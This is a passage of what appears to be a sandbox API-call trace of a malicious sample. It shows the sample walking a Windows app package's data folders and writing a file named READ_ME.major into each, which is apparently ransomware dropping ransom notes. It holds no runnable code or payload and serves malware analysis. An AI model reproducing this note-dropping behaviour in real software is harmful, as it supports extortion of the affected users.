lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83df20d8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83df20d8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0181.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0181.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657678 [0181.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0181.419] GetLastError () returned 0x0 [0181.419] SetLastError (dwErrCode=0x0) [0181.419] GetLastError () returned 0x0 [0181.419] SetLastError (dwErrCode=0x0) [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5c1e10 [0181.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657678 | out: hHeap=0x570000) returned 1 [0181.419] GetLastError () returned 0x0 [0181.419] SetLastError (dwErrCode=0x0) [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0181.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0181.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0a58 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1d0 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0181.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0181.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657998 [0181.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0181.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5a8108 [0181.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657998 | out: hHeap=0x570000) returned 1 [0181.420] GetLastError () returned 0x0 [0181.420] SetLastError (dwErrCode=0x0) [0181.420] GetLastError () returned 0x0 [0181.420] SetLastError (dwErrCode=0x0) [0181.420] GetLastError () returned 0x0 [0181.420] SetLastError (dwErrCode=0x0) [0181.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6599b8 [0181.420] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0181.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6599b8 | out: hHeap=0x570000) returned 1 [0181.420] WriteFile (in: hFile=0x840, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.421] CloseHandle (hObject=0x840) returned 1 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aff60 | out: hHeap=0x570000) returned 1 [0181.422] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21cd3c15, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21cd3c15, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21cd3c15, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0181.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657420 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0181.422] GetLastError () returned 0x0 [0181.422] SetLastError (dwErrCode=0x0) [0181.422] GetLastError () returned 0x0 [0181.422] SetLastError (dwErrCode=0x0) [0181.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5c1e10 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657420 | out: hHeap=0x570000) returned 1 [0181.422] GetLastError () returned 0x0 [0181.422] SetLastError (dwErrCode=0x0) [0181.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0181.422] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83df20d8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83df20d8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0181.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658938 [0181.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0181.422] GetLastError () returned 0x0 [0181.423] SetLastError (dwErrCode=0x0) [0181.423] GetLastError () returned 0x0 [0181.423] SetLastError (dwErrCode=0x0) [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5c1e10 [0181.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658938 | out: hHeap=0x570000) returned 1 [0181.423] GetLastError () returned 0x0 [0181.423] SetLastError (dwErrCode=0x0) [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0181.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0181.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0b30 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0c08 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0181.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657d80 [0181.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0181.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5a8108 [0181.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657d80 | out: hHeap=0x570000) returned 1 [0181.423] GetLastError () returned 0x0 [0181.423] SetLastError (dwErrCode=0x0) [0181.423] GetLastError () returned 0x0 [0181.424] SetLastError (dwErrCode=0x0) [0181.424] GetLastError () returned 0x0 [0181.424] SetLastError (dwErrCode=0x0) [0181.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ca0 [0181.424] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0181.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ca0 | out: hHeap=0x570000) returned 1 [0181.425] WriteFile (in: hFile=0x840, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.426] CloseHandle (hObject=0x840) returned 1 [0181.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0181.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0181.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0181.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0c08 | out: hHeap=0x570000) returned 1 [0181.426] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83e18337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0181.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0181.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0181.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6587a8 [0181.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.427] GetLastError () returned 0x0 [0181.427] SetLastError (dwErrCode=0x0) [0181.427] GetLastError () returned 0x0 [0181.427] SetLastError (dwErrCode=0x0) [0181.427] GetLastError () returned 0x0 [0181.427] SetLastError (dwErrCode=0x0) [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0181.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0181.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0c08 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0181.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657740 [0181.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.428] GetLastError () returned 0x0 [0181.428] SetLastError (dwErrCode=0x0) [0181.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5c1e10 [0181.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657740 | out: hHeap=0x570000) returned 1 [0181.428] GetLastError () returned 0x0 [0181.428] SetLastError (dwErrCode=0x0) [0181.428] GetLastError () returned 0x0 [0181.428] SetLastError (dwErrCode=0x0) [0181.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6520f0 [0181.428] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0181.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6520f0 | out: hHeap=0x570000) returned 1 [0181.429] WriteFile (in: hFile=0x840, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.430] CloseHandle (hObject=0x840) returned 1 [0181.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0181.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0181.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0181.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aff60 | out: hHeap=0x570000) returned 1 [0181.430] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e18337, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83e18337, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83e18337, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0181.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6587a8 | out: hHeap=0x570000) returned 1 [0181.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0181.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0181.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657678 [0181.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.430] GetLastError () returned 0x0 [0181.430] SetLastError (dwErrCode=0x0) [0181.430] GetLastError () returned 0x0 [0181.430] SetLastError (dwErrCode=0x0) [0181.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5c1e10 [0181.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657678 | out: hHeap=0x570000) returned 1 [0181.430] GetLastError () returned 0x0 [0181.430] SetLastError (dwErrCode=0x0) [0181.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0181.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0181.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0181.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b1988 [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d210 [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0181.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6578d0 [0181.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5a8108 [0181.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6578d0 | out: hHeap=0x570000) returned 1 [0181.431] GetLastError () returned 0x0 [0181.431] SetLastError (dwErrCode=0x0) [0181.431] GetLastError () returned 0x0 [0181.431] SetLastError (dwErrCode=0x0) [0181.431] GetLastError () returned 0x0 [0181.431] SetLastError (dwErrCode=0x0) [0181.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6592f0 [0181.431] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0181.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6592f0 | out: hHeap=0x570000) returned 1 [0181.432] WriteFile (in: hFile=0x840, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.433] CloseHandle (hObject=0x840) returned 1 [0181.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0181.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d210 | out: hHeap=0x570000) returned 1 [0181.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0181.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b1988 | out: hHeap=0x570000) returned 1 [0181.433] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83df20d8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc91cbd05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x83df20d8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0181.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1e10 | out: hHeap=0x570000) returned 1 [0181.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0181.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0181.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0181.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657740 [0181.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0181.433] GetLastError () returned 0x0 [0181.433] SetLastError (dwErrCode=0x0) [0181.433] GetLastError () returned 0x0 [0181.433] SetLastError (dwErrCode=0x0) [0181.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5c1e10 [0181.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657740 | out: hHeap=0x570000) returned 1 [0181.433] GetLastError () returned 0x0 [0181.433] SetLastError (dwErrCode=0x0) [0181.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0181.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0181.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0181.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b18b0 [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b1988 [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0181.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658870 [0181.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5a8108 [0181.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658870 | out: hHeap=0x570000) returned 1 [0181.434] GetLastError () returned 0x0 [0181.434] SetLastError (dwErrCode=0x0) [0181.434] GetLastError () returned 0x0 [0181.434] SetLastError (dwErrCode=0x0) [0181.434] GetLastError () returned 0x0 [0181.434] SetLastError (dwErrCode=0x0) [0181.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x651a98 [0181.434] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0181.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x651a98 | out: hHeap=0x570000) returned 1 [0181.435] WriteFile (in: hFile=0x840, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0181.436] CloseHandle (hObject=0x840) returned 1 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0181.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b1988 | out: hHeap=0x570000) returned 1 [0181.436] FindNextFileW (in: hFindFile=0x58e1f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, 